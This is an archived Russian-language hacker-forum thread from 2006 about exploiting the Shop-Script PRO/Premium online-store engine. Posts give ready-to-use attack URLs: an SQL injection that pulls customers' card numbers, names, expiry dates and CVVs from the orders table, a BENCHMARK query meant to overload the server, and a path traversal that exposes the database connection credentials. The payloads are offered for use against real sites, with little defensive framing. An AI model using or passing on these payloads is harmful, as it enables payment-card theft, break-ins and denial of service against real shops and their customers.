PDA

Просмотр полной версии : ShopScript доступ в админ панель

»Atom1c«
05.11.2006, 13:04
Если в Pro версии движка интернет магазина Shop Script в браузере вбить:
http://адрес/admin.php?dpt=reports&sub=product_report&categoryID=-82+union+select+cc_number,cc_oldername,cc_expires, cc_cvv,null,null,null+from+SS_orders/*&sort=customers_rating&sort_dir=ASC
То вы сможете попасть в админку:)Если Safe Mode будет отключён то можете получить полный контроль над сайтом.Этому багу подвержены версии Shop-Script PRO и Shop-Script Premium все версии.
Также возможно проведение DDos атаки путём
http://адрес/admin.php?dpt=conf&sub=setting&settings_groupID=BENCHMARK(10000000,BENCHMARK(1000 0000,md5(current_date)))

Вот пример сайта:)
http://www.shop-script-demo.com/pro/admin.php?dpt=reports&sub=product_report&categoryID=-82+union+select+cc_number,cc_oldername,cc_expires, cc_cvv,null,null,null+from+SS_orders/*&sort=customers_rating&sort_dir=ASC
Только тут включён SafeMod:(
r0
05.11.2006, 13:17
Похоже, что не ты нашел уязвимости..
»Atom1c«
05.11.2006, 13:28
Я тока насчёт DDos нашёл, а про админку я где-то в сети прочитал.Может кончно DDos уже раньше нашли)
Koller
05.11.2006, 14:13
Может я туплю, но доступ в админку есть и так - http://www.shop-script-demo.com/pro/admin.php
Как я понял это как бы демонстрация этого самого скрипта...показывается как выглядит там админка...и все...
Поправьте, если ошибаюсь...
»Atom1c«
05.11.2006, 14:15
Хм...Да, наверно.А то чёто я смотрю больше на другие сайты так не входит
Koller
05.11.2006, 14:17
Вот и я про тоже )
А жаль...искренне жаль )
Тему предлагаю закрыть...
S7iL3t
05.11.2006, 14:19
/me пацталом %)))
limpompo
05.11.2006, 15:36
жжёте парни...
pop_korn
05.11.2006, 17:23
баянчег http://www.cyberlords.net/advisories/cl_shop.txt
»Atom1c«
25.11.2006, 02:07
Короче, единственное что я смог найти, так это данные для подключения к БД, если очень повезёт они могут подойти и к админке.
Надо только дописать
/index.php?aux_page=../cfg/connect.inc.php
Если вы перейдёте на это страничку но ничего не будет написано( если будет написано "документ не найден на сервере" то ничего не плучится) если ничего не будет, будет просто пусто на том месте где должны быть ньюски, то просто посмотрите сорцы, там будет часть кода типа
db_username=""
bd_password=""
и т.д.:)
И.Г.
25.11.2006, 02:11
С журнала Хакер вроде инфа... там даже видео было